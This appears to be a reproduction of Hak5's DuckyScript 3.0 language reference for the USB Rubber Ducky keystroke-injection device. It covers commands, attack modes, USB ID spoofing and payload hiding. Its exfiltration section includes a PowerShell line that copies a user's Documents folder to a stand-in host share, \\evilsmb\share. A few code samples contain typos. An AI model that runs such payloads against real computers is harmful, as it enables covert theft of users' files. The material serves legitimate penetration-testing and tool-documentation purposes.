What's New In DuckyScript 3.0?

Official site https://docs.hak5.org/hak5-usb-rubber-ducky/

DuckyScript 1.0, developed by Hak5 in 2010, is a macro scripting language. It sequentially processes one of two actions: keystroke injection (type a set of keys), and delay (momentarily pause). These actions, written in what is known as a payload, instruct the USB Rubber Ducky on what to do. Either type, or pause.

Over the years the DuckyScript language has evolved to include device specific commands. With the introduction of the Bash Bunny in 2017, DuckyScript was coupled with the shell scripting language BASH. Leveraging the Linux base, these Ducky Script payloads allowed the device to perform multi-vector USB attacks.

Similarly, DuckyScript was included in the Shark Jack to probe Ethernet networks. The Key Croc uses DuckyScript 2.0 to execute a myriad of hotplug attacks based on live keylogging data. Even third party tools designed in partnership with Hak5 licensed Ducky Script – notably the O.MG Platform of malicious cables and adapters by Mischief Gadgets.

With the new USB Rubber Ducky in 2022, DuckyScript 3.0 has been introduced.

DuckyScript 3.0 is a feature rich, structured programming language. It includes all of the previously available commands and features of the original DuckyScript.

Additionally, DuckyScript 3.0 introduces control flow constructs (if/then/else), repetition (while loops), functions, extensions.

Plus, DuckyScript 3.0 includes many features specific to keystroke injection attack/automation, such as HID & Storage attack modes, Keystroke Reflection, jitter and randomization to name a few.

DuckyScript™ Quick Reference

Take your DuckyScript™ payloads to the next level with this full-featured, web-based development environment.

Comments

REM

The REM command does not perform any keystroke injection functions. REM gets its name from the word remark. While REM may be used to add vertical spacing within a payload, blank lines are also acceptable and will not be processed by the compiler.

REM This is a comment

Keystroke Injection

STRING

The STRING command keystroke injects (types) a series of keystrokes. STRING will automatically interpret uppercase letters by holding the SHIFT modifier key where necessary. The STRING command will also automatically press the SPACE cursor key, however trailing spaces will be omitted.

STRING The quick brown fox jumps over the lazy dog

STRINGLN

The STRINGLN command, like STRING, will inject a series of

keystrokes then terminate with a carriage return (ENTER).

STRINGLN _ _ _ USB _ _ _

STRINGLN __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__

STRINGLN ___) ___) ___) Ducky! (___/ (___/ (___/

Cursor Keys

The cursor keys are used to navigate the cursor to a different position on the screen.

UP DOWN LEFT RIGHT

UPARROW DOWNARROW LEFTARROW RIGHTARROW

PAGEUP PAGEDOWN HOME END

INSERT DELETE DEL BACKSPACE

TAB

SPACE

System Keys

System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface.

ENTER

ESCAPE

PAUSE BREAK

PRINTSCREEN

MENU APP

F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12

Basic Modifier Keys

Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar CTRL c for copy, CTRL x for cut, and CTRL v for paste.

SHIFT

ALT

CONTROL or CTRL

COMMAND

WINDOWS or GUI

```
REM Windows Modifier Key Example

REM Open the RUN Dialog

GUI r

REM Close the window

ALT F4
```

Advanced Modifier Keys

In addition to the basic modifier key combinations, such as CTRL c, modifiers and keys may be combined arbitrarily.

CTRL SHIFT

ALT SHIFT

COMMAND CTRL

COMMAND CTRL SHIFT

COMMAND OPTION

COMMAND OPTION SHIFT

CONTROL ALT DELETE

CTRL ALT DELETE

Standalone Modifier Keys

Injecting a modifier key alone without another key – such as pressing the WINDOWS key – may be achieved by prepending the modifier key with the INJECT_MOD command.

REM Example pressing Windows key alone

INJECT_MOD

WINDOWS

Lock Keys

Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase.

CAPSLOCK

NUMLOCK

SCROLLOCK

Delays

DELAY

The DELAY command instructs the USB Rubber Ducky to momentarily pause execution of the payload. This is useful when deploying a payload which must «wait» for an element –

such as a window – to load. The DELAY command accepts the time parameter in milliseconds.

DELAY for 100 milliseconds (one tenth of a second)

```
DELAY 100
```

The minimum delay value is 20.

The DELAY command may also accept an integer variable.

```
VAR $WAIT = 500

DELAY $WAIT
```

The Button

By default, if no other button command is currently in use, pressing the button during payload execution will make the USB Rubber Ducky stop any further keystroke injection. It will then become an ordinary USB flash drive, commonly referred to as «arming mode».

WAIT_FOR_BUTTON_PRESS

Halts payload execution until a button press is detected. When this command is reached in the payload, no further execution will occur.

```
STRING Press the button…

WAIT_FOR_BUTTON_PRESS

STRING The button was pressed!
```

BUTTON_DEF

The BUTTON_DEF command defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the

WAIT_FOR_BUTTON_PRESS command or other such function.

BUTTON_DEF

STRINGLN The button was pressed.

END_BUTTON

STRINGLN Press the button with the next 10 seconds

DELAY 10000

DISABLE_BUTTON

The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF.

ENABLE_BUTTON

The ENABLE_BUTTON command allows pressing the button to call the BUTTON_DEF.

The LED

The USB Rubber Ducky includes an LED which may be helpful when deploying certain payloads where feedback is important.

LED_OFF

The LED_OFF command will disable all LED modes.

LED_R

The LED_R command will enable the red LED.

LED_G

The LED_G command will enable the green LED.

ATTACKMODE

An attack mode is the device type that a USB Rubber Ducky, is functioning as or emulating. If no ATTACKMODE command is specified as the first command (excluding REM), the HID attack mode will execute, allowing the device to function as a keyboard. The ATTACKMODE command may be run multiple times within a payload, which may cause the device to be re-enumerated by the target if the attack mode changes.

Required Parameters

ATTACKMODE Parameter	Description
HID	Functions as a Human Interface Device, or Keyboard, for keystroke injection.
STORAGE	Functions as USB Mass Storage, or a Flash Drive, for copying files to/from the target.
HID STORAGE	Functions as both USB Mass Storage and Human Interface Device
OFF	Will not function as any device. May be used to disconnect the device from the target.

```
ATTACKMODE HID STORAGE

REM The USB Rubber Ducky will act as both a flash drive and keyboard
```

Optional Parameters

When using these optional parameters, VID and PID must be used as a set. Further, MAN, PROD and SERIAL must also be used as a set.

ATTACKMODE Parameter	Description
VID_	Vendor ID (16-bit HEX)

ATTACKMODE Parameter	Description
PID_	Product ID (16-bit HEX)
MAN_	Manufacturer (16 alphanumeric characters)
PROD_	Product (16 alphanumeric characters)
SERIAL_	Serial (12 digits)

```
ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337

REM Emulated a Keyboard with the following values:

REM – Vendor ID: 046D

REM – Product ID: C31C

REM – Manufacturer: HAK5

REM – Product: DUCKY

REM – Serial: 1337
```

SAVE_ATTACKMODE

The SAVE_ATTACKMODE command will save the currently running ATTACKMODE state (including any specified VID, PID, MAN, PROD and SERIAL parameters) such that it may be later restored.

RESTORE_ATTACKMODE

The RESTORE_ATTACKMODE command will restore a previously saved ATTACKMODE state.

```
ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337

DELAY 2000

SAVE_ATTACKMODE
```

```
STRING Hello

ATTACKMODE OFF

DELAY 5000

RESTORE_ATTACKMODE

DELAY 2000

STRING , World!
```

Constants

DEFINE

The DEFINE command is used to define a constant. One may consider the use of a DEFINE within a payload like a find-and-replace at time of compile.

```
DEFINE WAIT 2000

DEFINE TEXT Hello World

DELAY WAIT

STRING TEXT
```

When using a DEFINE with STRING, the defined keyword must be on a line of its own and cannot be combined with other characters.

Variables

VAR

The VAR command will initiate a variable. Unlike constants, variables begin with a dollar sign («$«). Variables contain unsigned integers with values from 0 to 65535. Booleans may be represented as well, either by TRUE/FALE or any non-zero

number and 0 respectively.

```
VAR $BLINK = TRUE

VAR $BLINK_TIME = 1000
```

Operators

Operators instruct the payload to perform a given mathematical, relational or logical operation.

Math

Operator	Meaning
=	Assignment
+	Add
–	Subtract
*	Multiply
/	Divide
%	Modulus
^	Exponent

```
VAR $FOO = 1337

$FOO = ( $FOO – 1295 )

REM $FOO was assigned 1337, subtracted 1295, and ended up equalling 42.
```

Comparison

Will compare two values to evaluate a single boolean value.

Operator	Meaning
==	Equal to
!=	Not equal to
>	Greater than

Operator	Meaning
<	Less than
>=	Greater than or equal to
<=	Less than or equal to

```
VAR $FOO = 42

VAR $BAR = 1337

IF ( $FOO < $BAR ) THEN

STRING 42 is less than 1337

END_IF
```

Order of Operations

Parentheses ( ) are required to define the precedence conventions.

```
VAR $FOO = 42

VAR $BAR = (( 100 * 13 ) + ( $FOO – 5 ))
```

Logical Operators

Logical operators may be used to connect two or more expressions.

Operator	Description
&&	Logical AND. If both the operands are non-zero, the condition is TRUE.
||	Logical OR. If any of the two operands is non-zero, the condition is TRUE.

```
VAR $FOO = 42

VAR $BAR = 1337

IF ( $FOO < $BAR ) || ( $BAR == $FOO ) THEN
```

```
STRING Either 42 is less than 1337 or 42 is equal to 1337

END_IF
```

Augmented Assignment

When assigning a value to a variable, the variable itself may be referenced.

```
VAR $FOO = 1336

VAR $FOO = ( $FOO + 1 )
```

Bitwise Operators

Operate on the uint16 values at the binary level.

Operator	Description
&	Bitwise AND. If the corresponding bits of the two operands is 1, will result in 1. Otherwise if either bit of an operand is 0, the result of the corresponding bit is evaluated as 0.
|	Bitwise OR. If at least one corresponding bit of the two operands is 1, will result in 1.
>>	Right Shift. Accepts two numbers. Right shifts the bits of the first operand. The second operand determines the number of places to shift.
<<	Left Shift. Accepts two numbers. Left shifts the bits of the first operand. The second operand decides the number of places to shift.

```
ATTACKMODE HID STORAGE VID_05AC PID_021E

VAR $FOO = $_CURRENT_VID

REM Because VID and PID parameters are little endian,

$FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00))

REM $FOO will now equal 0xAC05
```

Conditional Statements

Conditional statements, loops and functions allow for dynamic execution.

IF

The flow control statement IF will determine whether or not to execute its block of code based on the evaluation of an expression. One way to interpret an IF statement is to read it as «IF this condition is true, THEN do this».

```
$FOO = 42

$BAR = 1337

IF ( $FOO < $BAR ) THEN

STRING 42 is less than 1337

END_IF
```

ELSE

The ELSE statement is an optional component of the IF statement which will only execute when the IF statement condition is FALSE.

```
IF ( $_CAPSLOCK_ON == TRUE ) THEN

STRING Capslock is on!

ELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN

STRING Capslock is off!

END_IF
```

Loops

Loops are flow control statements that can be used to repeat instructions until a specific condition is reached.

WHILE

The block of code within the WHILE statement will continue to repeatedly execute for a number of times (called iterations) for as long as the condition of the WHILE statement is TRUE.

```
VAR $FOO = 42

WHILE ( $FOO > 0 )

STRINGLN This message will repeat 42 times.

$FOO = ( $FOO – 1 )

END_WHILE

WHILE TRUE

SRINGLN This is an infinite loop. This message repeats forever.

END_WHILE
```

Functions

Functions are blocks of organized single-task code that let you more efficiently run the same code multiple times without the need to copy and paste large blocks of code over and over again.

FUNCTION

```
REM Types «Hello…..World!»

FUNCTION COUNTDOWN()
```

```
WHILE ($TIMER > 0)

STRING .

$TIMER = ($TIMER – 1)

DELAY 500

END_WHILE

END_FUNCTION

STRING Hello

VAR $TIMER = 5

COUNTDOWN()

STRING World!
```

RETURN

A function may return a integer or boolean value which may also be evaluated.

```
FUNCITON TEST_CAPS_AND_NUM()

IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == TRUE)) THEN

RETURN TRUE

ELSE

RETURN FALSE

END_IF

END_FUNCTION

IF (TEST_CAPS_AND_NUM() == TRUE) THEN

STRINGLN Caps lock and num lock are on.
```

```
END_IF
```

Randomization

The pseudorandom number generator provides randomization for keystroke injection, variables and attackmode parameters. The first time a randomization feature is used, a seed.bin will be generated on the root of the MicroSD card. One may also be generated from the Hak5 IDE.

Random Keystroke Injection

Command	Character Set
RANDOM_LOWERCASE_LETTER	abcdefghijklmnopqrstuvwxyz
RANDOM_UPPERCASE_LETTER	ABCDEFGHIJKLMNOPQRSTUVWXYZ
RANDOM_LETTER	abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
RANDOM_NUMBER	0123456789
RANDOM_SPECIAL	!@#$%^&*()
RANDOM_CHAR	abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 !@#$%^&*()

```
REM 42 random characters

VAR $COUNT = 42

WHILE ($COUNT > 0)

RANDOM_CHAR

$COUNT = ($COUNT + 1)

END_WHILE
```

Random Integers

The internal variable $_RANDOM_INT assigns a random integer

between the specified $_RANDOM_MIN and $_RANDOM_MAX values. May be 0-65535. The default values are 0-9.

$_RANDOM_MIN = 42

$_RANDOM_MAX = 1337

VAR $FOO = $_RANDOM_INT

REM The variable $FOO will be between 42 and 1337

Random and ATTACKMODE

The ATTACKMODE command may accept random values for the optional parameters.

ATTACKMODE Parameter	Result
VID_RANDOM	Random Vendor ID
PID_RANDOM	Random Product ID
MAN_RANDOM	Random 32 alphanumeric character iManufacturer
PROD_RANDOM	Random 32 alphanumeric character iProduct
SERIAL_RANDOM	Random 12 digit serial number

ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM

Use caution when using random VID and PID values as unexpected results are likely.

Holding Keys

A key may be held, rather than pressed, by specifying a HOLD and RELEASE command with a DELAY in between the two. Both HOLD and RELEASE must specify a key. Multiple simultaneous keys may be held.

HOLD a

```
DELAY 2000

RELEASE a

REM May produce any mumber of «aaaaa» keys, depending on the repeat rate of

REM the target OS. On macOS may open the accent menu.

INJECT_MOD

HOLD WINDOWS

DELAY 4000

RELEASE WINDOWS

REM Will hold the Windows key for 4 seconds. Note the use of INJECT_MOD

REM when using a modifier key without a key combination.
```

Payload Control

These simple commands exist to control the execution of a payload.

RESTART_PAYLOAD

The RESTART_PAYLOAD command ceases execution, restarting the payload from the beginning.

STOP_PAYLOAD

The STOP_PAYLOAD command ceases and further execution.

RESET

The RESET command clears the keystroke buffer, useful for debugging complex hold key states.

Jitter

Jitter randomly varies the delay between individual key presses based on the seed.bin value.

Internal Variable	Description
$_JITTER_ENABLED	Set TRUE to start and FALSE to stop jitter.
$_JITTER_MAX	Integer (0-65535) of maximum time in milliseconds between keystrokes. Default 20.

$_JITTER_MAX = 60

$_JITTER_ENABLED = TRUE

STRINGLN The quick brown fox jumps over the lazy dog

Payload Hiding

The inject.bin and seed.bin file may be hidden from the MicroSD card before implementing ATTACKMODE STORAGE. The HIDE_PAYLOAD and RESTORE_PAYLOAD commands must be run while using ATTACKMODE OFF or ATTACKMODE HID.

HIDE_PAYLOAD

Hides the inject.bin and seed.bin files from the MicroSD card.

RESTORE_PAYLOAD

Restores the inject.bin and seed.bin files to the MicroSD card.

ATTACKMODE OFF

HIDE_PAYLOAD

ATTACKMODE HID STORAGE

DELAY 2000

```
STRINGLN The payload files are hidden.

ATTACKMODE HID

RESTORE_PAYLOAD

DELAY 2000

STRINGLN Restoring the payload files…

ATTACKMODE HID STORAGE

DELAY 2000

STRINGLN The payload files have been restored.
```

Lock Keys

USB HID devices contain both IN endpoints for data (keystrokes) from the keyboard to computer, and OUT endpoints for data (LED states) from the computer to the keyboard. In many cases the LED state control codes sent from the computer to the attached keyboard are sent to all attached «keyboards». Versions of macOS behave differently.

WAIT_FOR Commands

Command	Description
WAIT_FOR_CAPS_ON	Pause until caps lock is turned on
WAIT_FOR_CAPS_OFF	Pause until caps lock is turned off
WAIT_FOR_CAPS_CHANGE	Pause until caps lock is toggled on or off
WAIT_FOR_NUM_ON	Pause until num lock is turned on
WAIT_FOR_NUM_OFF	Pause until num lock is turned off
WAIT_FOR_NUM_CHANGE	Pause until num lock is toggled on or off
WAIT_FOR_SCROLL_ON	Pause until scroll lock is turned on

Command	Description
WAIT_FOR_SCROLL_OFF	Pause until scroll lock is turned off
WAIT_FOR_SCROLL_CHANGE	Pause until scroll lock is toggled on or off

```
STRINGLN Hello,

STRINGLN [Press caps lock to continue…]

WAIT_FOR_CAPS_CHANGE

STRINGLN World!
```

SAVE and RESTORE Commands

The currently reported lock key states may be saved and later recalled using the SAVE_HOST_KEYBOARD_LOCK_STATE and RESTORE_HOST_KEYBOARD_LOCK_STATE commands.

```
REM Save the LED states of the primary keyboard

SAVE_HOST_KEYBOARD_LOCK_STATE

REM Change the lock states

CAPSLOCK

NUMLOCK

REM Restore the original lock states

RESTORE_HOST_KEYBOARD_LOCK_STATE
```

Exfiltration

Exfiltration is the unauthorized transfer of information from a system. Typically performed over a physical medium (copying to a USB flash disk such as the USB Rubber Ducky while using ATTACKMODE STORAGE) or a network medium such as email, ftp, smb, http, etc.

Physical Exfiltration Example

```
ATTACKMODE HID STORAGE

DELAY 2000

GUI r

DELAY 100

STRING powershell «$m=(Get-Volume -FileSystemLabel ‘DUCKY’).DriveLetter;

STRINGLN echo $env:computername >> $m:\computer_names.txt»
```

Network Exfiltration Example

```
ATTACKMODE HID

DELAY 2000

GUI r

DELAY 100

STRINGLN powershell «cp -r $env:USERPROFILE\Documents\* \\evilsmb\share»
```

Keystroke Reflection

By taking advantage of the HID OUT endpoint as described in the lock keys section, binary data may be exfiltrated «out of band» using the Keystroke Reflection side-channel attack. This is done by using the $_EXFIL_MODE_ENABLED internal variable. The reflected lock keystrokes are saved to loot.bin on the root of the MicroSD card. For a detailed example, see the section on Keystroke Reflection.

Variable Exfiltration

Similarly, arbitrary variable data may be saved to the loot.bin file using the EXFIL command.

```
VAR $FOO = 1337

EXFIL $FOO
```

Internal Variables

Internal Variable	Description
BUTTON	
$_BUTTON_ENABLED	Returns TRUE if the button is enabled or FALSE if the button is disabled.
$_BUTTON_USER_DEFINED	Returns TRUE if a BUTTON_DEF has been implemented in the payload or FALSE if it hasn’t been implemented.
$_BUTTON_PUSH_RECEIVED	Returns TRUE if the button has ever been pressed. May be retrieved or set.
$_BUTTON_TIMEOUT	The button debounce, or cooldown time before counting the next button press, in milliseconds. The default value is 1000.
LED	
$_SYSTEM_LEDS_ENABLED	Default set TRUE. May be retrieved or set. Boot and ATTACKMODE change LED.

Internal Variable	Description
$_STORAGE_LEDS_ENABLED	Default set TRUE. May be retrieved or set.Blinks the LED red/green on storage read/write in ATTACKMODE STORAGE.
$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY	Default set TRUE. May be retrieved or set.The LED will light solid green when the storage has been inactive for longer than $_STORAGE_ACTIVITY_TIMEOUT (default 1000 ms). Otherwise, the LED will light red when active.
$_INJECTING_LEDS_ENABLED	Default set TRUE. May be retrieved or set. The LED will blink green on payload execution.
$_EXFIL_LEDS_ENABLED	Default set TRUE. May be retrieved or set. The LED will blink green during Keystroke Reflection.
$_LED_SHOW_CAPS	Toggles TRUE or FALSE based on whether the caps lock LED is set on or off by the host. May only be retrieved. Cannot be set.
$_LED_SHOW_NUM	Toggles TRUE or FALSE based on whether the num lock LED is set on or off by the host. May only be retrieved. Cannot be set.

Internal Variable	Description
$_LED_SHOW_SCROLL	Toggles TRUE or FALSE based on whether the num lock LED is set on or off by the host. May only be retrieved. Cannot be set.
ATTACKMODE	
$_CURRENT_VID	Returns the currently operating Vendor ID with endian swapped. May only be retrieved. Cannot be set.
$_CURRENT_PID	Returns the currently operating Product ID with endian swapped. May only be retrieved. Cannot be set.
$_CURRENT_ATTACKMODE	Returns the currently operating ATTACKMODE represented as 0 for OFF, 1 for HID, 2 for STORAGE and 3 for both HID and STORAGE
RANDOM	
$_RANDOM_INT	Random integer within set range.
$_RANDOM_MIN	Random integer minimum range (unsigned, 0-65535)
$_RANDOM_MAX	Random integer maximum range (unsigned, 0-65535)
$_RANDOM_SEED	Random seed from seed.bin
JITTER	
$_JITTER_ENABLED	Set TRUE to enable jitter. Default FALSE.

Internal Variable	Description
$_JITTER_MAX	Sets the maximum time between key presses in milliseconds. The default maximum is 20 ms.
LOCK KEYS	
$_CAPSLOCK_ON	TRUE if on, FALSE if off.
$_NUMLOCK_ON	TRUE if on, FALSE if off.
$_SCROLLLOCK_ON	TRUE if on, FALSE if off.
$_SAVED_CAPSLOCK_ON	On USB attach, sets TRUE or FALSE depending on the reported OS condition.
$_SAVED_NUMLOCK_ON	On USB attach, sets TRUE or FALSE depending on the reported OS condition.
$_SAVED_SCROLLLOCK_ON	On USB attach, sets TRUE or FALSE depending on the reported OS condition.
$_RECEIVED_HOST_LOCK_LED_REPLY	On receipt of any lock state LED control code, sets TRUE. This flag is helpful for fingerprinting certain operating systems (e.g. macOS) or systems which do not communicate lock keys «correctly».
STORAGE	
$_STORAGE_ACTIVITY_TIMEOUT	As payload is running, this value decrements if storage activity is not detected. Default value is 1000.
EXFILTRATION	

Internal Variable	Description
$_EXFIL_MODE_ENABLED	Set TRUE to enable Keystroke Reflection. Will listen for caps and num lock changes, writing binary values to loot.bin. Default FALSE. num=1, caps=0.
OS_DETECT	
$_HOST_CONFIGURATION_REQUEST_COUNT	Used by OS_DETECT extension to detect device enumeration count.
$_OS	Used by OS_DETECT extension to return value of fingerprinted operating system. May return WINDOWS, MACOS, LINUX, CHROMEOS, ANDROID, IOS. These names are reserved and should not be used in user variables.